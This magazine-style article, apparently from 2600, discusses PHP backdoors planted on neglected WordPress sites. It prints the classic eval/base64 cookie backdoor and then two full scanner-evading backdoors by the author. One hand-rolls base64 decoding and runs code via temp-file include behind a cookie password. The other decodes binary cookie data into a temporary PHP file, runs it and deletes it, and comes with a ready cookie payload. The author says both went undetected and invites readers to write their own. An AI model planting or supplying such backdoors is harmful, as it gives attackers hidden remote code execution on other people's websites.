PHP Backdoors

by Dave Jericho

Each week I get more and more requests for incident remediation work, mostly websites, but on occasion that extends to the hosting server and beyond.  With this, I come across a large portion of PHP backdoors that have wrangled their way in amongst the web files, largely due to improper maintenance of the website.  Businesses like to get as much as they can by paying as little as they can.  This, however, leads to too many instances where they pay X amount to a web development house to build a site and feel they don't need to pay extra for the maintenance of said site.  Roll in the requirement for incident remediation and we see a site littered with backdoors and the CMS core files, themes, and plugin/extensions are out of date and have vulnerabilities.

That being said, my point of this article is not to beat on the businesses making the poor choices to save the few quid on maintenance, but more to beat on the authors of the PHP backdoors used in the attack.  The laziness of the attacks just irritates me and how easy it is to detect the backdoors placed on the website.  In my examples here, I am going to cover PHP backdoors under WordPress, mainly because it is one of the most dominating CMSes in use.

Let's assume for argument's sake that our target is Business X, who pays his yearly hosting, but has no maintenance plan in place.  Also, we will assume that the developers were decent enough and installed some form of Web Application Firewall (WAF) and anti-malware detection when they pushed the site live.

The main plugins/services for web-based anti-malware come from Sucuri, Wordfence, All in One, iThemes Security, and Anti-Malware by GOTMLS.net.  There are others, of course, but these would be the top of the food chain.  So with this knowledge in mind, the only reason Business X should be alerted to our backdoor is if the attacker starts affecting the site's normal behavior or their malware scanner picks up on its presence.

A generic PHP backdoor tends to consist of three main components: delivery, decode, and execute. So at its most basic level, we would see something such as:

eval(base64_decode($_COOKIE["payload"]));

Now if you tried using something like this, even with the most basic of anti-malware in operation, Business X is in luck, as it would most likely set off alarm bells - eval() and base64_decode() being the two primary red flags.  So with this in mind, attackers tend to obfuscate their code, which in itself is a red flag, however, even the most obfuscated code still boils down to using base64_decode() and eval() at the heart.  There are some good obfuscation techniques used, most common would be the use of extract() to rename the red flag functions and eliminate the red flags.  It annoys me to see this mass bombarding of sites with garbage, when there are plenty of other options available to an attacker to lower the chances of detection.

This led me to write my own PHP backdoor as a test.  My first attempt was to remove the red flags eval() and base64_decode() but still achieve the same functionality:

$template_level = "topLevel";
  $template_level_cookie = $_COOKIE["template_level"];
  if ($template_level_cookie != $template_level){ echo "what's the magic word?"; die(); }

      // get_input is a replacement for base64_decode()
     function get_input($template_input, $template_table) {

       $template_table_array = str_split($template_table);
       $char_array = str_split($template_input);
       $j = 0;
       for ($i = 0; $i < count($char_array); $i+=4) {

         $b[0] = array_search($char_array[$i], $template_table_array);
         $b[1] = array_search($char_array[$i+1], $template_table_array);
         $b[2] = array_search($char_array[$i+2], $template_table_array);
         $b[3] = array_search($char_array[$i+3], $template_table_array);

         $template_full[$j++] = chr((($b[0] << 2) | ($b[1] >> 4)));
         if ($b[2] < 64) {
           $template_full[$j++] = chr((($b[1] << 4) | ($b[2] >> 2)));
           if ($b[3] < 64)
           {
             $template_full[$j++] = chr((($b[2] << 6) | $b[3]));
           }
         }
       }

       return implode($template_full);	 
  }

      // get_template() & extract() is a replacement for eval()
     function get_template($template_request) {

     $template_name = tempnam("/tmp", "get_template");
     $template_handler = fopen($template_name, "w+");
     fwrite($template_handler, "<?php\n" . $template_request);
     fclose($template_handler);
     include $template_name;
     unlink($template_name);

     return get_defined_vars();

     }

  extract(get_template(get_input($_COOKIE["template_input"], $_COOKIE["template_table"])));

I then wanted to see if I could write a PHP backdoor that uses the common red flags and still goes undetected.  This led me to write the following code:

// 1.) Convert Binary to String
function binToStr($input)
{
 $chunks = str_split($input,8);
 $ret = '';
 foreach ($chunks as $chunk)
 {
   $ret .= chr(bindec($chunk));
 }
 return $ret;
}

// 2.) Create a temporary file
$tmp_file = "mog_" . mt_rand(10000, 99999) . ".php";

// 3.) Write the decoded Binary to our temporary file
$worker_file = fopen($tmp_file, "w") or die("Unable to open file!");
$txt = binToStr($_COOKIE["mog_data"]);
fwrite($worker_file, $txt);
fclose($worker_file);

// 4.) Include our newly created temporary file with our newly decoded PHP
require_once($tmp_file);

// 5.) Once payload is executed Delete the temporary file.
unlink($tmp_file);

?>

Payload:

Cookie: mog_data=001111000011111101110000011010000111000000100000011001010111011001100001011011000010
10000110001001100001011100110110010100110110001101000101111101100100011001010110001101101111011001000
11001010010100000100100010111110100001101001111010011110100101101001001010001010101101100100010011011
01011011110110011101011111011100000110000101111001001000100101110100101001001010010011101100100000001
1111100111110;mog_pay=cGhwaW5mbygpOw==;

In the above example, we are passing the red flags in binary format.  When we decode this binary string, we now see our generic PHP backdoor code as seen in Code Snippet #1:

<?php eval(base64_decode($_COOKIE["mog_pay"])); ?>

We then write this code to a temporary file and use require_once() to execute.  At this stage, we can now pass our Base64 payload and, once executed, we delete the temporary file.  So in this instance, the likelihood of an active scan picking up on the temporary file with the red flags is very slim.  Not impossible, but slim.  I know the whole thing could have been done using the binary payload without requiring the Base64 at all, but the point of the exercise was to use a generic PHP backdoor structure without being detected.  Of course the option is there to obfuscate the code if you wish.

When tested, this solution went undetected by the top web-based malware scanners and a number of server-side scanners.  As with the previous example I wrote, I have submitted this to vendors, but there is still no signature and it remains an undetected solution.

Hope you enjoyed this brief article on PHP backdoors and simple ways to write your own rather than working with off-the-shelf solutions.

Code: Code Snippet #2

Code: Code Snippet #3

Code: Payload Snippet

Return to $2600 Index